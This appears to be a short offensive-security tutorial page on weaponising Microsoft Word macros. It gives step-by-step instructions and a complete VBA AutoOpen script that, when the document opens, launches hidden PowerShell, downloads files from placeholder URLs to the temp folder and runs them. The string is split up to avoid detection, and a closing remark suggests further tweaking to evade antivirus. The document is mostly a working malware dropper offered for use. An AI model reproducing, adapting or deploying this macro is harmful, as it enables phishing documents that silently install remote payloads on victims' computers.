Word Macros

  • Start creating a new word document and go to View -> Macros.

  • Create a new macro "AutoRun" and click run.

  • In the following image we can see that we can code our macro so, just copy the script below and paste it.

  • Later that, save it, and run it enabling macros.

Macro Script

Sub AutoOpen()
    Dim cc As String
    cc = "pow"
    cc = cc + "ers"
    cc = cc + "hell "
    cc = cc + "-NoP -NonI -W Hidden """
    
    cc = cc + "('url1','url2')"
    
    cc = cc + "|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);"
    
    cc = cc + "(new-object System.Net.WebClient).DownloadFile($_,$fileName);"
    
    cc = cc + "Invoke-Item $fileName;}"
    
    cc = cc + """"

    VBA.CreateObject("WScript.Shell").Run cc, 0

End Sub

PD: It gets detected very easy, and you might need to play around with the code.

Last updated